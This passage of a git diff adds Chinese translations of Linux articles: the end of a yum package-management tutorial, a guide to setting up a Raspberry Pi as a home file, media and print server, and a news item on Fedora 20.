httpd-tools x86_64 2.2.15-29.el6_4 rhui-REGION-rhel-server-releases 73 k + + Transaction Summary + ============================================================================== + Install 5 Package(s) + + Total download size: 1.1 M + Installed size: 3.6 M + Is this ok [y/N]: y + +如你所见,在安装httpd时yum安装了额外的软件包。这称为yum完成的依赖包解析。 + +假如你不想让yum弹出[y/N]选项,可以使用**yum install -y httpd** + +####使用yum update 命令更新一个已存在的软件包 + + # yum update httpd + Loaded plugins: amazon-id, rhui-lb, security + Setting up Update Process + No Packages marked for Update + +这意味着你系统中安装的httpd软件包已经是yum软件仓库里的最新版本的了。 + +####更新服务器上所有的软件包 + + # yum update + +以上命令将系统上的所有软件包更新到最新版本,包括内核软件包,这意味着你的OS更新到了RHEL提供的最新版本了。 + +###下载RPM软件包但是不安装 + +可以使用yum从RHEL或者CentOS的软件仓库里下载RPM软件包但是不安装。你首先需要下载一个插件让yum只下载rpm软件包而不安装。插件名字叫downloadonly,可以通过yum安装,如下所示: + + # yum install yum-downloadonly + Loaded plugins: amazon-id, rhui-lb, security + Setting up Install Process + Resolving Dependencies + -> Running transaction check + --> Package yum-plugin-downloadonly.noarch 0:1.1.30-14.el6 will be installed + -> Finished Dependency Resolution + + Dependencies Resolved + + =========================================================================== + Package Arch Version Repository Size + =========================================================================== + Installing: + yum-plugin-downloadonly noarch 1.1.30-14.el6 rhui-REGION-rhel-server-releases 20 k + + Transaction Summary + =========================================================================== + Install 1 Package(s) + + Total download size: 20 k + Installed size: 21 k + Is this ok [y/N]: y + Downloading Packages: + yum-plugin-downloadonly-1.1.30-14.el6.noarch.rpm | 20 kB 00:00 + Running rpm_check_debug + Running Transaction Test + Transaction Test Succeeded + Running Transaction + Installing : yum-plugin-downloadonly-1.1.30-14.el6.noarch 1/1 + Verifying : yum-plugin-downloadonly-1.1.30-14.el6.noarch 1/1 + + Installed: + yum-plugin-downloadonly.noarch 0:1.1.30-14.el6 + + Complete! + +现在你就可以从软件仓库里只下载软件包而不安装了,命令如下: + + # yum install httpd-devel -downloadonly + +默认情况下软件包会被下载到**/var/cache/yum/**目录,但是你可以添加额外选项将其下载到指定位置 + + # yum install httpd-devel -downloadonly -downloaddir=/opt + +假如你有一个rpm软件包但是没有它所依赖的软件包,你不知道到哪去得到它所依赖的软件包。你仍然可以通过yum安装这个rpm软件包,并从软件仓库里得到它所依赖的软件包。让我们安装刚刚下载的httpd-devel-2.2.15-29.el6_4.x86_64 RPM软件包。 + + # yum localinstall /opt/httpd-devel-2.2.15-29.el6_4.x86_64.rpm + + Loaded plugins: amazon-id, downloadonly, rhui-lb, security + Setting up Local Package Process + Examining /opt/httpd-devel-2.2.15-29.el6_4.x86_64.rpm: httpd-devel-2.2.15-29.el6_4.x86_64 + Marking /opt/httpd-devel-2.2.15-29.el6_4.x86_64.rpm to be installed + Resolving Dependencies + -> Running transaction check + --> Package httpd-devel.x86_64 0:2.2.15-29.el6_4 will be installed + -> Processing Dependency: apr-devel for package: httpd-devel-2.2.15-29.el6_4.x86_64 + -> Processing Dependency: apr-util-devel for package: httpd-devel-2.2.15-29.el6_4.x86_64 + -> Running transaction check + --> Package apr-devel.x86_64 0:1.3.9-5.el6_2 will be installed + --> Package apr-util-devel.x86_64 0:1.3.9-3.el6_0.1 will be installed + -> Processing Dependency: openldap-devel for package: apr-util-devel-1.3.9-3.el6_0.1.x86_64 + -> Processing Dependency: expat-devel for package: apr-util-devel-1.3.9-3.el6_0.1.x86_64 + -> Processing Dependency: db4-devel for package: apr-util-devel-1.3.9-3.el6_0.1.x86_64 + -> Running transaction check + --> Package db4-devel.x86_64 0:4.7.25-18.el6_4 will be installed + -> Processing Dependency: db4-cxx = 4.7.25-18.el6_4 for package: db4-devel-4.7.25-18.el6_4.x86_64 + -> Processing Dependency: db4 = 4.7.25-18.el6_4 for package: db4-devel-4.7.25-18.el6_4.x86_64 + -> Processing Dependency: libdb_cxx-4.7.so()(64bit) for package: db4-devel-4.7.25-18.el6_4.x86_64 + --> Package expat-devel.x86_64 0:2.0.1-11.el6_2 will be installed + --> Package openldap-devel.x86_64 0:2.4.23-32.el6_4.1 will be installed + -> Processing Dependency: cyrus-sasl-devel >= 2.1 for package: openldap-devel-2.4.23-32.el6_4.1.x86_64 + -> Running transaction check + --> Package cyrus-sasl-devel.x86_64 0:2.1.23-13.el6_3.1 will be installed + --> Package db4.x86_64 0:4.7.25-17.el6 will be updated + -> Processing Dependency: db4 = 4.7.25-17.el6 for package: db4-utils-4.7.25-17.el6.x86_64 + --> Package db4.x86_64 0:4.7.25-18.el6_4 will be an update + --> Package db4-cxx.x86_64 0:4.7.25-18.el6_4 will be installed + -> Running transaction check + --> Package db4-utils.x86_64 0:4.7.25-17.el6 will be updated + --> Package db4-utils.x86_64 0:4.7.25-18.el6_4 will be an update + -> Finished Dependency Resolution + + Dependencies Resolved + + ============================================================================= + Package Arch Version Repository Size + ============================================================================= + Installing: + httpd-devel x86_64 2.2.15-29.el6_4 /httpd-devel-2.2.15-29.el6_4.x86_64 526 k + Installing for dependencies: + apr-devel x86_64 1.3.9-5.el6_2 rhui-REGION-rhel-server-releases 176 k + apr-util-devel x86_64 1.3.9-3.el6_0.1 rhui-REGION-rhel-server-releases 69 k + cyrus-sasl-devel x86_64 2.1.23-13.el6_3.1 rhui-REGION-rhel-server-releases 302 k + db4-cxx x86_64 4.7.25-18.el6_4 rhui-REGION-rhel-server-releases 588 k + db4-devel x86_64 4.7.25-18.el6_4 rhui-REGION-rhel-server-releases 6.6 M + expat-devel x86_64 2.0.1-11.el6_2 rhui-REGION-rhel-server-releases 120 k + openldap-devel x86_64 2.4.23-32.el6_4.1 rhui-REGION-rhel-server-releases 1.1 M + Updating for dependencies: + db4 x86_64 4.7.25-18.el6_4 rhui-REGION-rhel-server-releases 563 k + db4-utils x86_64 4.7.25-18.el6_4 rhui-REGION-rhel-server-releases 130 k + + Transaction Summary + ======================================================================= + Install 8 Package(s) + Upgrade 2 Package(s) + + Total size: 10 M + Is this ok [y/N]: y + Downloading Packages: + Running rpm_check_debug + Running Transaction Test + Transaction Test Succeeded + Running Transaction + Updating : db4-4.7.25-18.el6_4.x86_64 1/12 + Installing : apr-devel-1.3.9-5.el6_2.x86_64 2/12 + Installing : expat-devel-2.0.1-11.el6_2.x86_64 3/12 + Installing : db4-cxx-4.7.25-18.el6_4.x86_64 4/12 + Installing : db4-devel-4.7.25-18.el6_4.x86_64 5/12 + Installing : cyrus-sasl-devel-2.1.23-13.el6_3.1.x86_64 6/12 + Installing : openldap-devel-2.4.23-32.el6_4.1.x86_64 7/12 + Installing : apr-util-devel-1.3.9-3.el6_0.1.x86_64 8/12 + Installing : httpd-devel-2.2.15-29.el6_4.x86_64 9/12 + Updating : db4-utils-4.7.25-18.el6_4.x86_64 10/12 + Cleanup : db4-utils-4.7.25-17.el6.x86_64 11/12 + Cleanup : db4-4.7.25-17.el6.x86_64 12/12 + Verifying : apr-devel-1.3.9-5.el6_2.x86_64 1/12 + Verifying : cyrus-sasl-devel-2.1.23-13.el6_3.1.x86_64 2/12 + Verifying : apr-util-devel-1.3.9-3.el6_0.1.x86_64 3/12 + Verifying : db4-cxx-4.7.25-18.el6_4.x86_64 4/12 + Verifying : httpd-devel-2.2.15-29.el6_4.x86_64 5/12 + Verifying : openldap-devel-2.4.23-32.el6_4.1.x86_64 6/12 + Verifying : expat-devel-2.0.1-11.el6_2.x86_64 7/12 + Verifying : db4-devel-4.7.25-18.el6_4.x86_64 8/12 + Verifying : db4-4.7.25-18.el6_4.x86_64 9/12 + Verifying : db4-utils-4.7.25-18.el6_4.x86_64 10/12 + Verifying : db4-4.7.25-17.el6.x86_64 11/12 + Verifying : db4-utils-4.7.25-17.el6.x86_64 12/12 + + Installed: + httpd-devel.x86_64 0:2.2.15-29.el6_4 + + Dependency Installed: + apr-devel.x86_64 0:1.3.9-5.el6_2 apr-util-devel.x86_64 0:1.3.9-3.el6_0.1 + cyrus-sasl-devel.x86_64 0:2.1.23-13.el6_3.1 db4-cxx.x86_64 0:4.7.25-18.el6_4 + db4-devel.x86_64 0:4.7.25-18.el6_4 expat-devel.x86_64 0:2.0.1-11.el6_2 + openldap-devel.x86_64 0:2.4.23-32.el6_4.1 + + Dependency Updated: + db4.x86_64 0:4.7.25-18.el6_4 db4-utils.x86_64 0:4.7.25-18.el6_4 + + Complete! + +###使用yum卸载软件包 + +使用 **yum remove** 卸载软件包。举例如下: + + # yum remove httpd + Failed to set locale, defaulting to C + Loaded plugins: amazon-id, downloadonly, rhui-lb, security + Setting up Remove Process + Resolving Dependencies + -> Running transaction check + --> Package httpd.x86_64 0:2.2.15-29.el6_4 will be erased + -> Processing Dependency: httpd-mmn = 20051115 for package: php-5.3.3-23.el6_4.x86_64 + -> Processing Dependency: httpd = 2.2.15-29.el6_4 for package: httpd-devel-2.2.15-29.el6_4.x86_64 + -> Running transaction check + --> Package httpd-devel.x86_64 0:2.2.15-29.el6_4 will be erased + --> Package php.x86_64 0:5.3.3-23.el6_4 will be erased + -> Finished Dependency Resolution + + Dependencies Resolved + + ======================================================================== + Package Arch Version Repository Size + ======================================================================== + Removing: + httpd x86_64 2.2.15-29.el6_4 @rhui-REGION-rhel-server-releases 2.9 M + Removing for dependencies: + httpd-devel x86_64 2.2.15-29.el6_4 @/httpd-devel-2.2.15-29.el6_4.x86_64 526 k + php x86_64 5.3.3-23.el6_4 @rhui-REGION-rhel-server-releases 3.5 M + + Transaction Summary + ========================================================================== + Remove 3 Package(s) + + Installed size: 7.0 M + Is this ok [y/N]: y + Downloading Packages: + Running rpm_check_debug + Running Transaction Test + Transaction Test Succeeded + Running Transaction + Erasing : httpd-devel-2.2.15-29.el6_4.x86_64 1/3 + Erasing : php-5.3.3-23.el6_4.x86_64 2/3 + Erasing : httpd-2.2.15-29.el6_4.x86_64 3/3 + Verifying : httpd-2.2.15-29.el6_4.x86_64 1/3 + Verifying : httpd-devel-2.2.15-29.el6_4.x86_64 2/3 + Verifying : php-5.3.3-23.el6_4.x86_64 3/3 + + Removed: + httpd.x86_64 0:2.2.15-29.el6_4 + + Dependency Removed: + httpd-devel.x86_64 0:2.2.15-29.el6_4 php.x86_64 0:5.3.3-23.el6_4 + + Complete! + +###列出所有安装的软件包 + +假如你要列出你系统上安装的所有软件包,你可以使用**yum list installed**命令。这条命令结合grep命令是非常有用的,可以用来检查某个特定的软件包是否已被安装。这与使用rpm -qa命令询问已经安装的软件包相似。 + + # yum list installed + Loaded plugins: amazon-id, downloadonly, rhui-lb, security + Installed Packages + ConsoleKit.x86_64 0.4.1-3.el6 @koji-override-0/$releasever + ConsoleKit-libs.x86_64 0.4.1-3.el6 @koji-override-0/$releasever + MAKEDEV.x86_64 3.24-6.el6 @koji-override-0/$releasever + PyYAML.x86_64 3.10-3.1.el6 @koji-override-0/$releasever + Red_Hat_Enterprise_Linux-Release_Notes-6-en-US.noarch + 4-2.el6 @koji-override-0/$releasever + SDL.x86_64 1.2.14-3.el6 @koji-override-0/$releasever + abrt.x86_64 2.0.8-15.el6 @koji-override-0/$releasever + abrt-addon-ccpp.x86_64 2.0.8-15.el6 @koji-override-0/$releasever + abrt-addon-kerneloops.x86_64 2.0.8-15.el6 @koji-override-0/$releasever + abrt-addon-python.x86_64 2.0.8-15.el6 @koji-override-0/$releasever + abrt-cli.x86_64 2.0.8-15.el6 @koji-override-0/$releasever + abrt-libs.x86_64 2.0.8-15.el6 @koji-override-0/$releasever + abrt-tui.x86_64 2.0.8-15.el6 @koji-override-0/$releasever + acl.x86_64 2.2.49-6.el6 @koji-override-0/$releasever + acpid.x86_64 1.0.10-2.1.el6 @koji-override-0/$releasever + aic94xx-firmware.noarch 30-2.el6 @koji-override-0/$releasever + . + . + Output Truncated. + +###列出可用的软件库,通过它们可以查询、安装和更新软件包 + + # yum repolist + + Loaded plugins: amazon-id, downloadonly, rhui-lb, security + repo id repo name status + rhui-REGION-client-config-server-6 Red Hat Update Infrastructure 2.0 Client Configuration Server 6 4 + rhui-REGION-rhel-server-releases Red Hat Enterprise Linux Server 6 (RPMs) 10994 + rhui-REGION-rhel-server-releases-optional Red Hat Enterprise Linux Server 6 Optional (RPMs) 6250 + repolist: 17248 + +-------------------------------------------------------------------------------- + +via: http://linoxide.com/linux-command/package-management-yum-redhat-linux/ + +译者:[Linux-pdz](https://github.com/Linux-pdz) 校对:[jasminepeng](https://github.com/jasminepeng) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 \ No newline at end of file diff --git a/published/201311/Raspberry Pi--the Perfect Home Server.md b/published/201311/Raspberry Pi--the Perfect Home Server.md new file mode 100644 index 0000000000..6aa54501dc --- /dev/null +++ b/published/201311/Raspberry Pi--the Perfect Home Server.md @@ -0,0 +1,296 @@ +树莓派(Raspberry Pi):完美的家用服务器 +================================ + +自从树莓派发布后,所有在互联网上的网站为此激动人心的设备提供了很多有趣和具有挑战性的使用方法。虽然这些想法都很棒,但树莓派( **RPi** )最明显却又是最不吸引人的用处是:创建你的完美家用服务器。 + +如果你有几个不同的电脑需要同步和自动化备份,RPi可以做到。如果你想通过家中的任意屏幕来访问你的音乐和视频,RPi也能实现。也许你有一个或两个打印机,你想要简单与大家共享,树莓派在硬件和时间上用最小投资就能满足你的这些需求。 + +###树莓派的好处 + +低成本:35美元(约合242元RMB),B型的RPi接近一台完整的电脑,512M内存,100Mb以太网,SD卡插槽,2个USB接口,音频输出和HDMI或RCA视频输出。我知道HDMI电缆就比树莓派贵。 + +能源效率:硬件成本只是服务器费用的一部分,因为你需要考虑能源成本去不断运行设备。家用服务器所需要的服务不会占用太多CPU,大部分时间它都处于空闲状态,等待发挥功效。RPi's超低功率组件非常适合这个工作负载,这有助于降低你的电费消耗。我的一个B型的RPi加上外部硬盘消耗总共只有8瓦,然而用老式速龙代替的机器在闲置时消耗54瓦。假设10美分每千瓦一小时,这使得一个RPi每年的电费在7美元。一个基于速龙的机器是47美元。在不到一年的时间里,RPI基本上能够收回成本。 + +低噪音:因为RPi没有风扇和移动部件,在你最终配置中的唯一能生成噪音或明显热量的组件就是硬盘。如果你担心噪音,像[Silent PC Review][1]发烧友网站经常在他们的评论中涉及到噪声基准。我的体会是现代驱动器足够安静,要比其他的设备安静的多(如媒体中心,游戏机或其他电脑)。如果你家里没有为布线提供更多的灵活性选择,RPi的小尺寸、少量发热和低噪音也许让你走过它旁边都很难发现。 + +![](http://www.linuxjournal.com/files/linuxjournal.com/ufiles/imagecache/large-550px-centered/u1002061/11454f1.jpg) + +图1,一个简洁高效的家用服务器 + +新机会:一个不怎么实际的好处是-简单快乐的尝试新事物!对我来说,这是我第一次真正工作在基于Debian的发行版,很可能也是许多Linux爱好者们第一次有机会尝试一个基于ARM的体系结构。 + +###布置硬件 + +对于一个家庭服务器来说,你将需要一个中等容量的SD闪存卡作为本地存储。它可以使用一个USB引导,但那会占用两个宝贵的USB插槽之一。闪存卡不需要很大容量,但是速度越快越好。我选择了一个名牌SD卡,8GB容量和CLASS 10的速度等级。对于备份和存储多媒体文件,一个有USB连接插槽的硬盘驱动器是必须的。我选择一个1.5TB的硬盘和一个Calvary EN-CAHDD-D 2-bay USB 2.0硬盘连接基座。这个连接基座有个功能,在RAID-0模式中连接两个硬盘,总有一天会有用的。最后,RPi不带电源线,但可以用大多数智能手机充电器所用的5v微型USB。看看RPi是否挑剔电源,我为电源已换了三个不同的微型USB手机充电器。我在这周内尝试了每一个,在任何一个上都没有问题。 + +###安装操作系统 + +安装RPi操作系统包括了许多方面的大量细节,但这里有一些家用特定服务器的安装提示,大致按需要的顺序讲述。 + +1)直接通过[http://www.raspberrypi.org/downloads][2]获取Raspbian "Wheezy"安装镜像,并复制到SD卡,用网站上已列出的步骤。 + +2)第一次引导RPi时,连接一个键盘、鼠标和显示器。在引导RPi之前别忘打开显示器,可以检测到正确的HDMI或混合输出端口。 + +3)RPi有一个很好的"raspi-config"屏幕,在第一次启动时你会看到。对于家庭服务器来说,以下选择将会有用: + +- expand_rootfs:调整默认2GB OS镜像的大小,来填满闪存卡剩余的内存。 +- change_pass:修改默认密码"raspberry",但是,越安全的密码越好。 +- 设置你的地点和时区。 +- memory_split:给GPIU服务分配最少的内存(16M)尽可能为其他服务留下更多内存。 +- SSH:别忘开启SSH服务。 +- boot_behaviour:关闭“启动至桌面(boot to desktop)”(再次为你的其他服务节省内存)。 + +完成后,你将在出现 `pi@raspberrypi` 提示符下。安装脚本可以在任何时间通过 `sudo raspi-config` 重新运行。 + +还有一些其他配置,然后操作系统就可以用了。 + +1)一个静态IP让一切变得更容易,切换eth0的网络设置: + + + >> sudo nano -w /etc/network/interfaces + +更改eth0的那行 `iface eth0 inet dhcp` ,如下所示(根据你的家庭网络设置修改): + + ======/etc/network/interfaces====== + ... + iface eth0 inet static + address 192.168.1.10 + netmask 255.255.255.0 + gateway 192.168.1.1 + ... + ======/etc/network/interfaces====== + +2)创建本地用户并加入到users组和sudo组: + + >> sudo adduser YOURUSERIDHERE + >> sudo usermod -a -G users YOURUSERIDHERE + >> sudo usermod -a -G sudo YOURUSERIDHERE + +3)更新系统确保所有的库是最新最好的: + + >> sudo apt-get update; sudo apt-get upgrade + +4)好了,准备重新启动吧!先关闭PI: + + >> sudo /sbin/shutdown -h now + +一旦关闭(注意RPi电路板上的绿色LED状态指示灯,可以知道什么时候完成关闭了),拔下显示器,键盘,鼠标和电源线。插入USB端口上的硬盘,然后插回电源重启RPi。 + +5)一旦RPi开启(这些绿色LED指示灯用来描述状态),你可以从远程网络上从任何其他机器ssh到RPi并完成所有的配置(更改以下命令里的IP为你的静态IP): + + >> ssh YOURUSERIDHERE@192.168.1.10 + +祝贺你,有了一个可以工作的树莓派! + +###外设 + +第一件事是要连接外设。用dmesg来寻找你的存储设备,会发现——几乎可以肯定是/dev/sda。我喜欢使用自动挂载去挂载移动存储设备,这样更灵活,因为在启动时这些设备也许没有或者没准备好: + + >> sudo apt-get install autofs + >> sudo nano -w /etc/auto.master + ======/etc/auto.master====== + ... + /misc /etc/auto.misc + ... + ======/etc/auto.master====== + + >> sudo nano -w /etc/auto.misc + +注意,我的外部存储设备是ext4格式,如果需要话可以在下面更改: + + ======/etc/auto.misc====== + ... + storage -fstype=ext4:/dev/sda1 + ... + ======/etc/auto.misc====== + >> sudo /etc/init.d/autofs restart + >> ls -lat /misc/storage + +可选的,创建一个符号链接的短路径: + + >> ln -s /misc/storage /storage + +###备份仓库 + +在任何家庭服务器功能列表里面最重要的是提供坚如磐石的备份。对于RPi来说,这很简单而优美,在Linux中有丰富的网络共享选项:Samba/CIFS用于Windows机器,NFS用于基于UNIX的设备,并且甚至SFTP可以用于更多新的备份客户端,如deja-dup。由于RPi只有100MB以太网接口和USB上的存储设备,它没有非常快的传送速度。不过在另一方面,好的备份客户端是在后台自动运行的,所以你不会注意略微缓慢的传输速度。 + +我的家庭网络包括一台Windows 7电脑。对于它,我通过Samba在RPi's外部USB存储设备上导出一个备份目录。因为备份程序在Windows7基础版上不支持网络设备作为备份目标,我使用[SyncBack Free][3]去设置使其自动化,每日备份。 + +配置Samba是容易的。 + +1)安装samba和common-bin库(具有smbpasswd效用) + + >> sudo apt-get install samba samba-common-bin + +2)使用 `smbpasswd` 让你的本地ID能访问: + + >> sudo smbpasswd -a YOURUSERIDHERE + +3)编辑samba配置文件: + + >> sudo nano -w /etc/samba/smb.conf + +4)更改 `workgroup = WORKGROUP` 行以匹配你的Windows工作组名称。 + +5)注释掉或删除[homes]和[printers]共享。(打印机共享稍后将通过直接CUPS访问来完成。) + +6)为Windows备份路径增加一个条目。这是我的示例,放置在该文件的底部: + + ======/etc/samba/smb.conf====== + ... + [win7pc] + comment=Backup for windows PC + path=/storage/win7pc + writeable=Yes + create mask=0777 + directory mask=0777 + browsable=Yes + public=Yes + valid users=YOURUSERIDHERE + ... + ======/etc/samba/smb.conf====== + +7)重启Samba使你的编辑生效: + + >> sudo /etc/init.d/samba restart + +8)从Windows机器文件资源管理器通过映射一个网络设备测试连通。 + +对Linux设备来说,设置和使用deja-dup非常简单。它被默认安装在我的Fedora 18和Ubuntu 12.10上。包的名称是“deja-dup”,程序名简单的称为“Backup(备份)”。虽然RPi很容易支持NFS导出,我发现使用deja-dup的SSH选项更容易,更方便,在RPi上它不需要额外服务的支持。指定一个deja-dup加密密码是一个好主意,除非你不在意一旦丢失了存储器,别人就可以拿走全部数据: + + >> sudo mkdir /storage/linuxlaptop + >> sudo chown -R YOURUSERIDHERE:YOURUSERIDHERE /storage/linuxlaptop + +从linux客户端启动备份程序,选择“SSH”作为备份位置,输入RPi的IP地址和你创建的存储位置。首次备份会很慢,但是以后的运行将只发送增量变化,速度更快。 + +![](http://www.linuxjournal.com/files/linuxjournal.com/ufiles/imagecache/medium-350px-centered/u1002061/11454f2.png) + +图2,Deja-dup客户端设置 + +###多媒体服务器:DLNA + +现在每个人的文件都已安全备份。让我们继续看些有趣的!一个DLNA服务器可以让你集中存储你的电影、音乐和图片。通过这个中心库,家中每一个屏幕的DLNA客户端都可以轻松重放此内容。 + +至少,这是一个宣称。事实是这样的,DNLA规格并不太确定一些重要的事情,如支持哪些格式或编码。每个客户端通常对于支持什么格式和服务器功能都有略微不同的想法。很多高功率的服务器也许能转码本地内容到移动设备支持的格式,但是在RPi上是不可能的,在即时转码上经常扰乱其他功能,如暂停,快进和倒带。一般情况下,高功率设备如PS3、Xbox和WD TV设备支持大多数格式,而无需任何转码。低端设备如智能TVs或Blu-ray播放器只支持更有限的编码列表。 + +对于RPi来说,最好的办法是支持你的主要的DLNA设备的标准编码,然后测试你的其他DLNA客户端。如果没有完美播放,在下一节的提示也许有帮助。在我的情况下,我的PlayStation 3充当DLNA客户端,PS3能够流畅播放经Handbrake制作后的.m4v文件。 + +对于RPi的DLNA服务器来说,Minidlna是个很好的选择。它已经在Raspbian发行版中,易于设置和使用最小服务资源运行: + + >> sudo apt-get install minidlna + >> sudo nano -w /etc/minidlna.conf + +这是我/etc/minidlna.conf文件的相关部分: + + ... + # I found keeping video + audio in different paths helpful + media_dir=V,/storage/dlna/video + media_dir=A,/storage/dlna/music + ... + presentation_url=http://192.168.1.10:8200/ + ... + friendly_name=MyRPi + ... + # Since I add new media infrequently, turning off + # inotify keeps minidlna for polling for + # content changes. It's simple enough to run + # sudo /etc/init.d/minidlna force-reload + # when new content is added. + inotify=no + +一旦完成编辑,重启minidlna以加载新配置: + + >> sudo /etc/init.d/minidlna force-reload + +Minidlna能够为你的设备支持的电影提供电影海报缩略图(像PS3)。这让我能够更方便地在几十个电影文件中滚屏查找我想要的那个电影。我发现每个电影一个目录是最兼容的文件布局,只包含影片文件和缩略图,图像命名为“Cover.jpg”。使用像"MovieName.m4v"和"MovieName.jpg"的格式在PS3上工作的很好,但它不太适合VLC(除非你能让VLC uPNP插件首先查找服务器的话)。 + +通过PS3,你可以通过转到在XMB栏上的"Video"测试连通性。当视频列表向下翻页时,你以前设置的"friendly_name"应该是可见的,测试确保Minidlna是通过浏览器转到http://192.168.1.10:8200/。 + +###非DLNA设备的多媒体 + +当你让DNLA与你的一些设备一起工作时,你可能会发现有些设备并不适合它,所以多媒体计划B是个好主意。Nginx网站服务器有一个MP4插件尝试在旧式的HTTP连接上改善流媒体传输,但是浏览器回放的性能差别很大,在一部电影里快进也一直不工作。看起来多媒体共享或非 DLNA 设备的最低共同特性是使用传统Samba共享的访客只读访问。 + +这是/etc/samba/smb.conf的部分示例: + + [dlna] + path=/storage/dlna + read only=yes + browsable=yes + public=yes + +定义了共享设置后重启Samba( `sudo /etc/init.d/samba restart` ),你可以开始测试你的客户端。 + +我用一个混合的编码m4v视频文件测试了以下客户端: + +- Android 4.0.4手机:"ES File Explorer"与"ES Media Player"(播放器附带安装)。 + +- Android 4.1.2平板电脑:"ES File Explorer"与"ES Media Player"(播放器附带安装)。 + +- Linux设备:自动挂载://192.168.1.10/dlna,然后使用VLC或MPlayer。 + +- Windows:挂载//192.168.1.10:/dlna,然后使用VLC。 + +所有设备都能几乎立即开始播放和快进没有延迟的情况。 + +###打印服务器 + +RPi运行CUPS相当不错,所以它容易共享一个较旧的没有本地网络接口的打印机。 + +安装你的打印机所需的CUPS和任何软件包。我需要hplip-cups,因为我有一个HP喷墨打印机: + + >> sudo apt-get install cups hplip-cups + +更新“Listen”行和增加 `Allow @LOCAL` 到位置指令,如下所示(你可以使用其他机器在你的LAN上去管理CUPS): + + ======/etc/cups/cupsd.conf====== + #Listen localhost:631 #Comment this out + Listen 192.168.1.10:631 #Add this line + ... + + Order allow,deny + Allow @LOCAL + + + # Restrict access to the admin pages... + + Order allow,deny + Allow @LOCAL + + + # Restrict access to configuration files... + + AuthType Default + Require user @SYSTEM + Order allow,deny + Allow @LOCAL + + ======/etc/cups/cupsd.conf====== + +添加你的本地ID到lpadmin组就能管理CUPS: + + >> sudo usermod -a -G lpadmin YOURUSERIDHERE + +重启CUPS: + + >> sudo /etc/init.d/cups restart + +然后转到http://192.168.1.10:631/并点击 "Adding Printers and Classes"去设置你的打印机。我的打印机是自动发现的USB设备,所以,我只需点击“share”就可以。同样访问https://192.168.1.10:631/admin,确保检查“Share printers connected to this system(共享连接至这个系统的打印机)”。 + +完成后,你可以用通常的方式设置你的客户端。当我输入主机名,我的Linux客户端就能够自动发现打印机,并选择正确的驱动程序。在我的Windows7的机器上,一旦我选择“Network Printer(网络打印机)”,我必须点击“The printer that I want isn't listed(我想要的打印机未列出)”,选择“Select a shared printer by name(通过名称选择共享的打印机)”,然后从CUPS网络接口输入URL:http://192.168.1.10:631/printers/HP_J4500。 + +###结论 + +用最少的额外的硬件和配置,树莓派是高效、简洁的家用服务器。它能够花最小的硬件费用来为你的家庭环境带来由Linux提供的广泛企业服务。 + + +-------------------------------------------------------------------------------- + +via: http://www.linuxjournal.com/content/raspberry-pi-perfect-home-server + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +译者:[Vito](https://github.com/vito-L) 校对:[Caroline](https://github.com/carolinewuyan) + +[1]:http://www.silentpcreview.com/ +[2]:http://www.raspberrypi.org/downloads +[3]:http://www.2brightsparks.com/freeware/freeware-hub.html diff --git a/published/201311/Red Hat Fedora 20 Linux--New Networking, ARM Features.md b/published/201311/Red Hat Fedora 20 Linux--New Networking, ARM Features.md new file mode 100644 index 0000000000..af495d518d --- /dev/null +++ b/published/201311/Red Hat Fedora 20 Linux--New Networking, ARM Features.md @@ -0,0 +1,35 @@ +Fedora 20:新的网络配置功能、支持 ARM 设备 +================================================================================ +为了修复一些 bug 从而增强系统稳定性,在连着跳票几周后,最新的 [Fedora Linux][1] 终于要在12月份出来了。Fedora 是一款为 [RHEL][2] 做软件测试用的开源操作系统(即 Red Hat 公司会将那些在 Fedora 系统运行稳定的软件版本吸收到 RHEL 系统中 —— 译者注),这次更新将会带来什么样的变化呢?让我们来看一下。 + +![](http://thevarguy.com/site-files/thevarguy.com/files/imagecache/medium_img/uploads/2013/11/grayscale.jpg) + +早在10月末,Fedora 项目就宣布 Fedora 20 正式版要延迟一周发布(Fedora 项目计划在每年的4月和10月发布新的版本,但几乎每次都在跳票,所以见怪不怪了 —— 译者的吐槽)。在11月1号,Fedora 项目又宣布将 Fedora 20 推迟一周。而[现在的计划][3]再次变成11月12日发布 Beta 版,12月17日发布正式版。 + +这个三连跳不禁又要让 Fedora 用户伤心一阵子了,但开发者说不断的修改发布计划,是为了让 Fedora 以更完美的姿态出现在大众眼前。(Fedora 这种追求完美的策略,与 [Canonical][4] 旗下的 [Ubuntu][5] 追求效率的策略形成鲜明的对比。Ubuntu 更愿意按计划发布新版本,这有助于它抢占 Linux 市场。) + +抛下进度不提,Fedora 用户还是可以对这次最新最棒的版本更新抱有很大期望的。比如为了将桌面轻量化,Fedora 20 不再默认安装一些软件,像 syslog 和 sendmail。 + +NetworkManager 增加了一些很有用的功能,比如支持网桥和网卡绑定,在以前,要实现这两个酷酷的功能,需要通过复杂的命令行操作。在布署复杂的网络环境,特别是在云计算和软件定义网络(SDN)中,现在的 Fedora 对用户来说更有吸引力了。 + +Fedora 20 的目标是完全支持 ARM 设备(特别是 ARM7hl),这个目标能让它在移动终端和一些新兴硬件产品占有一席之地。 + +这些改进能让 Fedora 20 成为本季度最引人注目的 Linux 桌面发行版 —— 特别是在上月发布的 Unbuntu 13.10 的衬托下。Ubuntu 13.10 为桌面用户带来[极少的更新][6]。(它更多的是针对[服务器和云的更新][7]。) + +由于 Red Hat 公司会从 Fedora 中挑选稳定可靠的软件版本并吸收到 RHEL 中,所以 Fedora 社区里会有很多高端用户。而对于社区中的这些用户来说,本次更新也是有重要意义的。他们应该在12月(如果不再跳票)就可以拿到 Fedora 20 正式版了,并且会期待着 Red Hat 公司什么时候能将这些新特性加入到 RHEL 中。 + +-------------------------------------------------------------------------------- + +via: http://thevarguy.com/open-source-application-software-companies/red-hat-fedora-20-linux-new-networking-arm-features + +译者:[bazz2](https://github.com/bazz2) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://fedoraproject.org/ +[2]:http://redhat.com/ +[3]:http://fedoraproject.org/wiki/Releases/20/Schedule +[4]:http://canonical.com/ +[5]:http://ubuntu.com/ +[6]:http://thevarguy.com/ubuntu/canonicals-ubuntu-linux-1310-brings-few-changes-desktop +[7]:http://thevarguy.com/ubuntu/ubuntu-1310-openstack-havana-support-cloud-server-updates diff --git a/published/201311/Red Hat prepares for 64-bit ARM servers.md b/published/201311/Red Hat prepares for 64-bit ARM servers.md new file mode 100644 index 0000000000..e8fd80f9f2 --- /dev/null +++ 